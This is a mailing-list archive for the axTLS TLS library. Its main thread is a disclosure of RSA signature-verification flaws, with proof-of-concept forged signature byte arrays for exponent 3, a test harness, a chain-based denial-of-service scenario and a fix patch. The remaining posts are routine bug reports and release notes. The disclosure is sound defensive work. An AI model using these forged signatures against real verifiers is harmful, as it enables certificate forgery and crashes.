perhaps it would be better to harden the code when it comes to RSA signature verification, and not rely on certificate issuers to disallow small public exponents. Fortunately, these problems are not all that difficult to fix. One possibility is to move away from parsing the meta-data and instead hard-code expected values. Here is a patch that we have prepared, based on axTLS-2.1.3. It should be easily adaptable to the latest v2.1.4. A ESP8266 port of axTLS has already accepted this patch, as shown in https://github.com/igrr/axtls-8266/commit/5efe2947ab45e81d84b5f707c51d1c64be52f36c --- /tmp/axtls-code/ssl/x509.c +++ /tmp/axTLS-2.1.3/ssl/x509.c @@ -48,28 +48,6 @@ X509_CTX *x509_ctx); static int x509_v3_key_usage(const uint8_t *cert, int offset, X509_CTX *x509_ctx); - -/** - * Retrieve the signature from a certificate. - */ -static const uint8_t *get_signature(const uint8_t *asn1_sig, int *len) -{ - int offset = 0; - const uint8_t *ptr = NULL; - - if (asn1_next_obj(asn1_sig, &offset, ASN1_SEQUENCE) < 0 || - asn1_skip_obj(asn1_sig, &offset, ASN1_SEQUENCE)) - goto end_get_sig; - - if (asn1_sig[offset++] != ASN1_OCTET_STRING) - goto end_get_sig; - *len = get_asn1_length(asn1_sig, &offset); - ptr = &asn1_sig[offset]; /* all ok */ - -end_get_sig: - return ptr; -} - #endif /** @@ -361,17 +339,58 @@ } #ifdef CONFIG_SSL_CERT_VERIFICATION + +static const uint8_t sig_prefix_md5[] = {0x30, 0x20, 0x30, 0x0C, 0x06, 0x08, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x02, 0x05, 0x05, 0x00, 0x04, 0x10}; +static const uint8_t sig_prefix_sha1[] = {0x30, 0x21, 0x30, 0x09, 0x06, 0x05, 0x2b, 0x0E, 0x03, 0x02, 0x1A, 0x05, 0x00, 0x04, 0x14}; +static const uint8_t sig_prefix_sha256[] = {0x30, 0x31, 0x30, 0x0d, 0x06, 0x09, 0x60, 0x86, 0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x01, 0x05, 0x00, 0x04, 0x20}; +static const uint8_t sig_prefix_sha384[] = {0x30, 0x41, 0x30, 0x0d, 0x06, 0x09, 0x60, 0x86, 0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x02, 0x05, 0x00, 0x04, 0x30}; +static const uint8_t sig_prefix_sha512[] = {0x30, 0x51, 0x30, 0x0d, 0x06, 0x09, 0x60, 0x86, 0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x03, 0x05, 0x00, 0x04, 0x40}; + /** * Take a signature and decrypt it. */ -static bigint *sig_verify(BI_CTX *ctx, const uint8_t *sig, int sig_len, +static bigint *sig_verify(BI_CTX *ctx, const uint8_t *sig, int sig_len, uint8_t sig_type, bigint *modulus, bigint *pub_exp) { - int i, size; + int i; bigint *decrypted_bi, *dat_bi; bigint *bir = NULL; uint8_t *block = (uint8_t *)alloca(sig_len); + const uint8_t *sig_prefix = NULL; + uint8_t sig_prefix_size = 0, hash_len = 0; + /* adjust our expections */ + switch (sig_type) + { + case SIG_TYPE_MD5: + sig_prefix = sig_prefix_md5; + sig_prefix_size = sizeof(sig_prefix_md5); + break; + case SIG_TYPE_SHA1: + sig_prefix = sig_prefix_sha1; + sig_prefix_size = sizeof(sig_prefix_sha1); + break; + case SIG_TYPE_SHA256: + sig_prefix = sig_prefix_sha256; + sig_prefix_size = sizeof(sig_prefix_sha256); + break; + case SIG_TYPE_SHA384: + sig_prefix = sig_prefix_sha384; + sig_prefix_size = sizeof(sig_prefix_sha384); + break; + case SIG_TYPE_SHA512: + sig_prefix = sig_prefix_sha512; + sig_prefix_size = sizeof(sig_prefix_sha512); + break; + } + if (sig_prefix) + hash_len = sig_prefix[sig_prefix_size - 1]; + + /* check length (#A) */ + if (sig_len < 2 + 8 + 1 + sig_prefix_size + hash_len) + goto err; + + /* decrypt */ dat_bi = bi_import(ctx, sig, sig_len); ctx->mod_offset = BIGINT_M_OFFSET; @@ -382,22 +401,30 @@ bi_export(ctx, decrypted_bi, block, sig_len); ctx->mod_offset = BIGINT_M_OFFSET; - i = 10; /* start at the first possible non-padded byte */ - while (block[i++] && i < sig_len); - size = sig_len - i; - - /* get only the bit we want */ - if (size > 0) - { - int len; - const uint8_t *sig_ptr = get_signature(&block[i], &len); - - if (sig_ptr) - { - bir = bi_import(ctx, sig_ptr, len); - } - } - + /* check the first 2 bytes */ + if (block[0] != 0 || block[1] != 1) + goto err; + + /* check the padding */ + i = 2; /* start at the first padding byte */ + while (i < sig_len - 1 - sig_prefix_size - hash_len) + { /* together with (#A), we require at least 8 bytes of padding */ + if (block[i++] != 0xFF) + goto err; + } + + /* check end of padding */ + if (block[i++] != 0) + goto err; + + /* check the ASN.1 metadata */ + if (memcmp(block+i, sig_prefix, sig_prefix_size)) + goto err; + + /* now we can get the hash we need */ + bir = bi_import(ctx, block + i + sig_prefix_size, hash_len); + +err: /* save a few bytes of memory */ bi_clear_cache(ctx); return bir; @@ -549,7 +576,7 @@ } /* check the signature */ - cert_sig = sig_verify(ctx, cert->signature, cert->sig_len, + cert_sig = sig_verify(ctx, cert->signature, cert->sig_len, cert->sig_type, bi_clone(ctx, mod), bi_clone(ctx, expn)); if (cert_sig && cert->digest) Best regards, Sze Yiu |
From: Sze Y. C. <sc...@pu...> - 2018-11-05 22:20:28
|
Hi, We recently investigated the signature verification code of axTLS, and have found some exploitable flaws in it. Our findings were based on v2.1.3 but should also be applicable to v2.1.4. We found that the signature parsing code of axTLS is focused on moving the pointer to the beginning of the hash value (ASN.1 type OTCET STRING), without imposing a lot of checks, making it potentially vulnerable to various brute-force attacks given a low-exponent public key. We first found that axTLS accepts signatures containing trailing bytes after the hash value, in order words, it does not enforce the requirement on the length of padding bytes, a classical flaw previously found in other libraries. This could enable a practical brute-force signature forgery attack given a small public exponent. CVE-2018-16150 has been reserved for this issue. On top of that, we found that the implementation also ignores the prefix bytes, meaning that the first 10 bytes of the signature can take arbitrarily any values (see sig_verify() in x509.c). This makes a brute-force signature forgery attack under low-exponent potentially even easier. Here is a code snippet that might demonstrate the problems: > // this is to mimic how sig_verify() is being called, based on > // int x509_verify() in ssl/x509.c > int x509_verify_mimic(uint8_t *digest, int digest_len, > uint8_t *signature, int sig_len, > uint8_t *modulus, int mod_len, > uint8_t *pub_exp, int pub_exp_len) > { > > int ret = X509_OK; > > BI_CTX *bi_ctx = bi_initialize(); > bigint *bi_digest = bi_import(bi_ctx, digest, digest_len); > bigint *mod = bi_import(bi_ctx, modulus, mod_len); > bigint *expn = bi_import(bi_ctx, pub_exp, pub_exp_len); > bigint *cert_sig = NULL; > > /* check the signature */ > cert_sig = sig_verify(bi_ctx, signature, sig_len, > bi_clone(bi_ctx, mod), bi_clone(bi_ctx, expn)); > > if (cert_sig && bi_digest) > { > if (bi_compare(cert_sig, bi_digest) != 0) > ret = X509_VFY_ERROR_BAD_SIGNATURE; > > > bi_free(bi_ctx, cert_sig); > } > else > { > ret = X509_VFY_ERROR_BAD_SIGNATURE; > } > > if (ret) > goto end_verify; > > end_verify: > return ret; > } > > uint8_t atk_signature[] = { > 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, > 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, > 0x00, 0x00, > 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, > 0x00, 0x00, > 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, > 0x00, 0x00, > 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, > 0x00, 0x00, > 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, > 0x00, 0x00, > 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, > 0x00, 0x00, > 0x92, 0x86, 0x2f, 0xe4, 0xcd, 0x06, 0xf9, 0x20, 0x3c, 0x7a, 0x92, > 0xc6, 0xff, > 0xf3, 0x0c, 0x75, 0x31, 0xb9, 0x69, 0xa0, 0x0c, 0x98, 0xfc, 0x03, > 0x31, 0x91, > 0xe0, 0xd4, 0x2c, 0x19, 0x90, 0xc4, 0x90, 0x26, 0x4b, 0xa4, 0xd4, > 0x83, 0x6e > }; > > uint8_t digestBytes[] = { // SHA-256("65536") > 0x0f, 0x25, 0x5e, 0xc1, 0x64, 0x82, 0xc3, 0x43, 0xfd, 0x09, 0x9b, > 0xa9, 0x66, > 0x88, 0x63, 0x77, 0x8b, 0xe4, 0x0d, 0xc1, 0x66, 0xa6, 0x85, 0x6b, > 0x1d, 0x47, > 0x0e, 0x0b, 0xc9, 0x7c, 0xc6, 0xfd > }; > > /* if the low-exponent attk is successful, this should not matter */ > uint8_t modulusBytes[] = { > /* choose any 1024-bit moduli */ > }; > > /* low-exponent ... let's say e = 3 */ > uint8_t pubExpBytes[] = { 0x03 }; > > ret_val = x509_verify_mimic(digestBytes, sizeof(digestBytes), > atk_signature, sizeof(atk_signature), > modulusBytes, sizeof(modulusBytes), > pubExpBytes, sizeof(pubExpBytes) > ); The fake signature for SHA-256("65536") is in atk_signature[]. This should work against any 1024-bit moduli as long as e = 3. Moreover, we found that it also does not check the algorithm OID as well as the algorithm parameters when parsing the signature. In fact, it seems to skip the entire ASN.1 prefix before it reaches the beginning of the hash value (see get_signature() in x509.c), which again makes a brute-force signature forgery under low-exponent even easier. CVE-2018-16253 has been reserved for this issue, which can be exploited separately to forge fake signatures. Here is another proof-of-concept fake signature, with the hash being SHA-1("hello world"): > uint8_t atk_signature[] = { // SHA-1("hello world") 0x00 , 0x00 , 0x00 > , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 > , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 > , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 > , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 > , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 > , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 > , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 > , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 > , 0x00 , 0x00 , 0x01 , 0x42 , 0x8a , 0x2f , 0x98 , 0xd7 , 0x28 , 0xae > , 0x22 , 0x08 , 0x23 , 0x2c , 0x5f , 0x47 , 0x20 , 0x00 , 0x00 , 0x00 > , 0x00 , 0x00 , 0x00 , 0x75 , 0xce , 0x9a , 0x6b , 0x9e , 0xbc , 0xb8 > , 0x0e , 0x72 , 0x18 , 0x1b , 0x48 , 0x5e , 0x24 , 0x9b , 0x96 , 0x52 > , 0x4e , 0xca , 0xcc , 0xb8 , 0x55 }; Finally, we found that by putting some absurd values in the various ASN.1 lengths bytes, one can try to trick the code into reading from illegal memory addresses and potentially crash the verifier. This is because given the various lengths in the ASN.1 structure, the code is too trusting in the sense that it uses the declared values directly without sanity checks. Considering the possibility of low-exponents, the ASN.1 lengths could potentially be under adversarial control, and should perhaps be taken carefully. CVE-2018-16149 has been reserved for this issue. Here's another fake signature (against any 1024-bit moduli and e = 3) that declares an absurdly long length for the hash value, which on my machine, crashed the verifier when sig_verify() calls bi_import(): > uint8_t atk_signature[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, > 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, > 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, > 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, > 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, > 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, > 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, > 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, > 0x00, 0x00, 0x00, 0x00, 0x00, 0x92, 0x86, 0x2f, 0xe4, 0xcd, 0x6c, > 0xbc, 0xc2, 0x3b, 0x89, 0x2f, 0x3d, 0x3d, 0xab, 0xf1, 0x00, 0x6a, > 0x11, 0x6e, 0x0f, 0xce, 0x9a, 0xde, 0x8d, 0xec, 0x4f, 0x75, 0x57, > 0x64, 0xfc, 0xd0, 0x17, 0xe4, 0x3a, 0x69, 0x85, 0xdc, 0x8e, 0x9e }; Such a potential DoS attack against axTLS seems to be even easier to mount than a signature forgery, as the number of bytes that need to match for a successful attack is much smaller, and the fact that axTLS verifies certificate chains in a bottom-up manner also contributes to an attacker's advantage: even if low-exponent public keys are not commonly found in the wild nowadays, one can purposefully introduce an intermediate CA certificate that uses a low-exponent as the j-th one in the chain, and forge a signature containing absurd length values as described above and put it on the (j+1)-th certificate. Due to the bottom-up verification, before the code traverses up the chain and attempt to verify the j-th certificate against the (j-1)-th one, it would have already processed the malicious signature on the (j+1)-th certificate and performed some illegal memory access. Given that there seems to be performance incentives in using low-exponent public keys with resource-constrained platforms that axTLS targets, perhaps it would be better to harden the code when it comes to RSA signature verification, and not rely on certificate issuers to disallow small public exponents. Fortunately, these problems are not all that difficult to fix. One possibility is to move away from parsing the meta-data and instead hard-code expected values. Here is a patch that we have prepared, based on axTLS-2.1.3. It should be easily adaptable to the latest v2.1.4. A ESP8266 port of axTLS has already accepted this patch, as shown in https://github.com/igrr/axtls-8266/commit/5efe2947ab45e81d84b5f707c51d1c64be52f36c > --- /tmp/axtls-code/ssl/x509.c +++ /tmp/axTLS-2.1.3/ssl/x509.c @@ > -48,28 +48,6 @@ X509_CTX *x509_ctx); static int > x509_v3_key_usage(const uint8_t *cert, int offset, X509_CTX > *x509_ctx); - -/** - * Retrieve the signature from a certificate. - */ > -static const uint8_t *get_signature(const uint8_t *asn1_sig, int > *len) -{ - int offset = 0; - const uint8_t *ptr = NULL; - - if > (asn1_next_obj(asn1_sig, &offset, ASN1_SEQUENCE) < 0 || - > asn1_skip_obj(asn1_sig, &offset, ASN1_SEQUENCE)) - goto end_get_sig; - > - if (asn1_sig[offset++] != ASN1_OCTET_STRING) - goto end_get_sig; - > *len = get_asn1_length(asn1_sig, &offset); - ptr = &asn1_sig[offset]; > /* all ok */ - -end_get_sig: - return ptr; -} - #endif /** @@ -361,17 > +339,58 @@ } #ifdef CONFIG_SSL_CERT_VERIFICATION + +static const > uint8_t sig_prefix_md5[] = {0x30, 0x20, 0x30, 0x0C, 0x06, 0x08, 0x2A, > 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x02, 0x05, 0x05, 0x00, 0x04, 0x10}; > +static const uint8_t sig_prefix_sha1[] = {0x30, 0x21, 0x30, 0x09, > 0x06, 0x05, 0x2b, 0x0E, 0x03, 0x02, 0x1A, 0x05, 0x00, 0x04, 0x14}; > +static const uint8_t sig_prefix_sha256[] = {0x30, 0x31, 0x30, 0x0d, > 0x06, 0x09, 0x60, 0x86, 0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x01, > 0x05, 0x00, 0x04, 0x20}; +static const uint8_t sig_prefix_sha384[] = > {0x30, 0x41, 0x30, 0x0d, 0x06, 0x09, 0x60, 0x86, 0x48, 0x01, 0x65, > 0x03, 0x04, 0x02, 0x02, 0x05, 0x00, 0x04, 0x30}; +static const uint8_t > sig_prefix_sha512[] = {0x30, 0x51, 0x30, 0x0d, 0x06, 0x09, 0x60, 0x86, > 0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x03, 0x05, 0x00, 0x04, 0x40}; + > /** * Take a signature and decrypt it. */ -static bigint > *sig_verify(BI_CTX *ctx, const uint8_t *sig, int sig_len, +static > bigint *sig_verify(BI_CTX *ctx, const uint8_t *sig, int sig_len, > uint8_t sig_type, bigint *modulus, bigint *pub_exp) { - int i, size; + > int i; bigint *decrypted_bi, *dat_bi; bigint *bir = NULL; uint8_t > *block = (uint8_t *)alloca(sig_len); + const uint8_t *sig_prefix = > NULL; + uint8_t sig_prefix_size = 0, hash_len = 0; + /* adjust our > expections */ + switch (sig_type) + { + case SIG_TYPE_MD5: + > sig_prefix = sig_prefix_md5; + sig_prefix_size = > sizeof(sig_prefix_md5); + break; + case SIG_TYPE_SHA1: + sig_prefix = > sig_prefix_sha1; + sig_prefix_size = sizeof(sig_prefix_sha1); + break; > + case SIG_TYPE_SHA256: + sig_prefix = sig_prefix_sha256; + > sig_prefix_size = sizeof(sig_prefix_sha256); + break; + case > SIG_TYPE_SHA384: + sig_prefix = sig_prefix_sha384; + sig_prefix_size = > sizeof(sig_prefix_sha384); + break; + case SIG_TYPE_SHA512: + > sig_prefix = sig_prefix_sha512; + sig_prefix_size = > sizeof(sig_prefix_sha512); + break; + } + if (sig_prefix) + hash_len = > sig_prefix[sig_prefix_size - 1]; + + /* check length (#A) */ + if > (sig_len < 2 + 8 + 1 + sig_prefix_size + hash_len) + goto err; + + /* > decrypt */ dat_bi = bi_import(ctx, sig, sig_len); ctx->mod_offset = > BIGINT_M_OFFSET; @@ -382,22 +401,30 @@ bi_export(ctx, decrypted_bi, > block, sig_len); ctx->mod_offset = BIGINT_M_OFFSET; - i = 10; /* start > at the first possible non-padded byte */ - while (block[i++] && i < > sig_len); - size = sig_len - i; - - /* get only the bit we want */ - > if (size > 0) - { - int len; - const uint8_t *sig_ptr = > get_signature(&block[i], &len); - - if (sig_ptr) - { - bir = > bi_import(ctx, sig_ptr, len); - } - } - + /* check the first 2 bytes > */ + if (block[0] != 0 || block[1] != 1) + goto err; + + /* check the > padding */ + i = 2; /* start at the first padding byte */ + while (i < > sig_len - 1 - sig_prefix_size - hash_len) + { /* together with (#A), > we require at least 8 bytes of padding */ + if (block[i++] != 0xFF) + > goto err; + } + + /* check end of padding */ + if (block[i++] != 0) + > goto err; + + /* check the ASN.1 metadata */ + if (memcmp(block+i, > sig_prefix, sig_prefix_size)) + goto err; + + /* now we can get the > hash we need */ + bir = bi_import(ctx, block + i + sig_prefix_size, > hash_len); + +err: /* save a few bytes of memory */ > bi_clear_cache(ctx); return bir; @@ -549,7 +576,7 @@ } /* check the > signature */ - cert_sig = sig_verify(ctx, cert->signature, > cert->sig_len, + cert_sig = sig_verify(ctx, cert->signature, > cert->sig_len, cert->sig_type, bi_clone(ctx, mod), bi_clone(ctx, > expn)); if (cert_sig && cert->digest) Best regards, Sze Yiu |
From: Shiro K. <shi...@gm...> - 2018-07-19 14:16:55
|
in r277, when the first 'if' statement's test is satisfied, it loops without incrementing i, making the while loop infinite. https://sourceforge.net/p/axtls/code/277/tree/trunk/ssl/x509.c#l518 while (i < CONFIG_X509_MAX_CA_CERTS && ca_cert_ctx->cert[i]) { /* the extension is present but the cA boolean is not asserted, then the certified public key MUST NOT be used to verify certificate signatures. */ if (cert->basic_constraint_present && !ca_cert_ctx->cert[i]->basic_constraint_cA) continue; I guess a fix will be something along this line: ================ @@ -521,8 +521,10 @@ int x509_verify(const CA_CERT_CTX *ca_cert_ctx, const X509_CTX *cert, asserted, then the certified public key MUST NOT be used to verify certificate signatures. */ if (cert->basic_constraint_present && - !ca_cert_ctx->cert[i]->basic_constraint_cA) + !ca_cert_ctx->cert[i]->basic_constraint_cA) { + i++; continue; + } if (asn1_compare_dn(cert->ca_cert_dn, ca_cert_ctx->cert[i]->cert_dn) == 0) ================= Regards, --shiro |
From: Mordy O. <mor...@gm...> - 2017-11-01 16:33:56
|
All, I made a version of axTLS with support for TLS's preshared keys ciphersuites: https://github.com/mordyovits/axtls-svn-mirror/tree/add-psk-ciphers In many IoT use cases PSK ciphersuites are useful (though they're not useful for connecting to typical HTTPS services). There are a few big advantages to PSK in IoT: 1) Performance. There's no RSA operations ever, so it's fast and uses little energy in handshaking. 2) Size. Configuring axTLS with PSK support strips out support for the RSA ciphersuites. I did it this mutually-exclusive way (with Cameron Rich's blessing) because few uses cases need both kinds of ciphersuites. More importantly, it means that a PSK build of axTLS is truly tiny, since all the RSA, bigint, X.509, and ASN.1 code is #ifdef-ed away. I emailed Cameron about my work and he was interested in it. I don't know where he stands on merging it, but I appreciate any opinion on it. Thanks, Mordy |
From: Cameron Hamilton-R. <cam...@gm...> - 2017-08-31 02:46:59
|
Hi everyone, There is a new version of axTLS with the following fixes: * Fixed issue with pathlen=0 for root certs * host_name for SNI is a const char * and a cut/paste error in SSL_ERROR_RECORD_OVERFLOW (thanks Paul Sokolovsky) * Both bytes of the cipher suite are now checked in the hello message (thanks Steve Bennett). Cheers, Cam |
From: John P. <jpower@Selc.ie> - 2017-07-14 15:09:19
|
Hi, I'm seeing this happening with an Amazon server. If I export the root cert from Firefox, the Issue CN is specified (presumably fixed within the Firefox cert parser), but when I actually grab it with openssl, the Issuer CN is missing. In reality this field is a little trivial because in this case, the Subject and Issuer are the same. There was a thread on this exact topic on Stackoverflow: https://stackoverflow.com/questions/10276018/x-509-are-all-parts-of-a-dn-optional However, in AxTls because the Issuer CN field is not present, the match_ca_cert check fails and the X509_VFY_ERROR_NO_TRUSTED_CERT error results. Anyone seen this? Thanks, John |
From: John P. <jpower@Selc.ie> - 2017-07-13 11:01:25
|
Hi, I'm using this library as third party software included in Thingworx C Edge SDK and I'm getting the above error in x509.c when using an Amazon Server. Has anyone else seen this? It's related to new code added at the end of 2016. I have narrowed it down to the fact that if the pathLenConstraint is not present in the cert, the relevant variable appears to get the value zero, and so fails the x509_verify function. The Amazon Cert does not specify the pathLenConstraint, and so it is unlimited, i.e. no constraint on pathLen. https://tools.ietf.org/html/rfc5280#page-39 "Where pathLenConstraint does not appear, no limit is imposed." Excerpt from the code in x509.c: cert->basic_constraint_pathLenConstraint has value 0 after reading the Amazon CA Cert but should be the MAX number Code Snippet from x509.c x509_v3_basic_constraints function: if (asn1_next_obj(cert, &offset, ASN1_OCTET_STRING) < 0 || asn1_next_obj(cert, &offset, ASN1_SEQUENCE) < 0 || asn1_get_bool(cert, &offset, &x509_ctx->basic_constraint_cA) < 0 || asn1_get_int(cert, &offset, &x509_ctx->basic_constraint_pathLenConstraint) < 0) { ret = X509_NOT_OK; } There are a couple of problems with this. 1. The Sequence can be of zero length (in the case of non-CA certs) 2. The pathLenConstraint is optional Potential Fix, as follows, not yet compiled or verified: int lenSeq=0; /*Assign Defaults in case not specified basic_constraint_cA will already by zero by virtue of the calloc */ x509_ctx->basic_constraint_cA = 0; /*basic_constraint_pathLenConstraint is unlimited by default. 10000 is just a large number (limits.h is not already included) */ x509_ctx->basic_constraint_pathLenConstraint = 10000; if ((asn1_next_obj(cert, &offset, ASN1_OCTET_STRING) < 0) || ((lenSeq = asn1_next_obj(cert, &offset, ASN1_SEQUENCE)) < 0)) { ret = X509_NOT_OK; } /* If the Sequence Length is greater than zero, continue with the basic_constraint_cA */ if ((lenSeq>0)&&(asn1_get_bool(cert, &offset, &x509_ctx->basic_constraint_cA) < 0)) { ret = X509_NOT_OK; } /* If the Sequence Length is greater than 3, it has more content than the basic_constraint_cA bool, so grab the pathLenConstraint */ if ((lenSeq>3) && (asn1_get_int(cert, &offset, &x509_ctx->basic_constraint_pathLenConstraint) < 0)) { ret = X509_NOT_OK; } Examples of Basic Constraints Octet String in Certs and their decode: AmazonRootCA1 493 66: [3] { 495 64: SEQUENCE { 497 15: SEQUENCE { 499 3: OBJECT IDENTIFIER basicConstraints (2 5 29 19) 504 1: BOOLEAN TRUE 507 5: OCTET STRING 30 03 01 01 FF : } ASN1_SEQUENCE : 30 SEQUENCE LENGTH : 03 ASN1_BOOLEAN : 01 BOOLEAN LENGTH : 01 BOOLEAN VALUE : FF (TRUE) => pathLen unlimited! ------------------------------------ BaltimoreCyberTrustRoot 579 18: SEQUENCE { 581 3: OBJECT IDENTIFIER basicConstraints (2 5 29 19) 586 1: BOOLEAN TRUE 589 8: OCTET STRING 30 06 01 01 FF 02 01 03 : } ASN1_SEQUENCE : 30 SEQUENCE LENGTH : 06 ASN1_BOOLEAN : 01 BOOLEAN LENGTH : 01 BOOLEAN VALUE : FF (TRUE) (CA Value) ASN1_INT : 02 INT LENGTH : 01 INT VALUE : 03 (pathLenConstraint Value) -------------------------------------- *.invma.net 812 12: SEQUENCE { 814 3: OBJECT IDENTIFIER basicConstraints (2 5 29 19) 819 1: BOOLEAN TRUE 822 2: OCTET STRING 30 00 : } ASN1_SEQUENCE : 30 SEQUENCE LENGTH : 00 => CA False by default pathLen is don't care when CA is false -------------------------------------- Thanks, John |
From: Paul S. <pm...@gm...> - 2017-06-11 20:50:41
|
Hello, tls1.c:2355: case SSL_ALERT_BAD_RECORD_MAC: printf("bad record mac"); break; > case SSL_ERROR_RECORD_OVERFLOW: printf("record overlow"); break; case SSL_ALERT_HANDSHAKE_FAILURE: printf("handshake failure"); break; As can be seen, in the function where there's a switch() on SSL_ALERT_* values, there's suddenly a case with SSL_ERROR_RECORD_OVERFLOW. -- Best regards, Paul mailto:pm...@gm... |
From: Paul S. <pm...@gm...> - 2017-06-11 09:16:50
|
Hello, Thanks for implementing SNI support in recent versions of axTLS! Trying to integrate it, I faced a warning (promoted to error in this case): error: assignment discards ‘const’ qualifier from pointer target type [-Werror] ext->host_name = mp_obj_str_get_str(args->server_hostname.u_obj); ^ Looking at the code, I don't see a string pointed by extensions->host_name to be modified, so it would rather be declared as const char*, not as char*. Thanks! -- Best regards, Paul mailto:pm...@gm... |
From: Paul S. <pm...@gm...> - 2017-01-30 20:53:38
|
Hello, On Tue, 31 Jan 2017 06:15:15 +1000 Cameron Hamilton-Rich <cam...@gm...> wrote: > Fair enough. I've been doing too much C#/Java and it's a real nuisance > to have a bool as a char. I guess what was meant is that modern (ahem, 18-years old) C has its bool type, so trying to define one unconditionally is like described below. > > Cam > > On 30/01/2017 11:23 PM, Daniel Stenberg wrote: > > Hi > > > > axTLS adds a typedef for "bool" in its public headers. That's > > overreaching and a name space violation. You mustn't do that. > > > > It causes a build failure when trying to build curl with axTLS > > 2.1.2: > > > > https://github.com/curl/curl/issues/1220 > > > > -- > Cameron Hamilton-Rich > 41 Tenth Ave, > Coorparoo, 4151 > Ph: 0421 838287 > Email: cam...@gm... > > -- Best regards, Paul mailto:pm...@gm... |
From: Cameron Hamilton-R. <cam...@gm...> - 2017-01-30 20:15:29
|
Fair enough. I've been doing too much C#/Java and it's a real nuisance to have a bool as a char. Cam On 30/01/2017 11:23 PM, Daniel Stenberg wrote: > Hi > > axTLS adds a typedef for "bool" in its public headers. That's overreaching and > a name space violation. You mustn't do that. > > It causes a build failure when trying to build curl with axTLS 2.1.2: > > https://github.com/curl/curl/issues/1220 > -- Cameron Hamilton-Rich 41 Tenth Ave, Coorparoo, 4151 Ph: 0421 838287 Email: cam...@gm... |
From: Daniel S. <da...@ha...> - 2017-01-30 13:38:37
|
Hi axTLS adds a typedef for "bool" in its public headers. That's overreaching and a name space violation. You mustn't do that. It causes a build failure when trying to build curl with axTLS 2.1.2: https://github.com/curl/curl/issues/1220 -- / daniel.haxx.se |
From: Cameron Hamilton-R. <cam...@gm...> - 2016-12-30 22:02:43
|
Hi everyone, There is a new version of axTLS which has the following changes. * Basic constraint/key usage v3 extensions now supported * Test harness must now be run without built-in default cert Cam -- Cameron Hamilton-Rich Email: cam...@gm... |
From: Cameron Hamilton-R. <cam...@gm...> - 2016-12-19 20:34:56
|
Hi everyone, There is a new version of axTLS which has the following changes. * X509 State, country and location are now used for verification and display. * SNI hostname memory is now managed by the calling application * X509 version number is checked before processing v3 extensions. Cam -- Cameron Hamilton-Rich Email: cam...@gm... |
From: Cameron Hamilton-R. <cam...@gm...> - 2016-12-12 19:43:19
|
Hi everyone, There is a new version of axTLS which supports SNI (and max fragments). Thanks to Slavey Karadzhov who implemented the code and Stephan Eberle who gave me a good test case. The command: ./axssl s_client -connect vyq5xqkqce.execute-api.eu-central-1.amazonaws.com:443 -servername vyq5xqkqce.execute-api.eu-central-1.amazonaws.com will work whereas: ./axssl s_client -connect vyq5xqkqce.execute-api.eu-central-1.amazonaws.com:443 will fail. There has been a change in the ssl_client_new() interface. Cam -- Cameron Hamilton-Rich Email: cam...@gm... |
From: Cameron Hamilton-R. <cam...@gm...> - 2016-08-30 10:30:48
|
Hi everyone, There is a new release with the following changes: * RC4 only used if PKCS12 is used. * Buffer sizes tightened up. * Buffer check on client handshake due to some incompatibilities (thanks Shiro Kawai). Cam -- Cameron Hamilton-Rich Email: cam...@gm... |
From: Shiro K. <shi...@gm...> - 2016-08-22 03:19:34
|
axTLS 2.0.0 fails to connect some server with SSL_ERROR_INVALID_HANDSHAKE. (One of such servers we're aware of is https://account.nicovideo.jp/ ) This patch appears to fix that (provided by a user of Gauche, https://github.com/shirok/Gauche/pull/227 ) ================================= --- ssl/tls1_clnt.c (revision 269) +++ ssl/tls1_clnt.c (working copy) @@ -311,7 +311,7 @@ offset += 2; // ignore compression PARANOIA_CHECK(pkt_size, offset); - ssl->dc->bm_proc_index = offset+1; + ssl->dc->bm_proc_index = offset; PARANOIA_CHECK(pkt_size, offset); // no extensions ================================== |
From: Shiro K. <shi...@gm...> - 2016-08-21 06:19:57
|
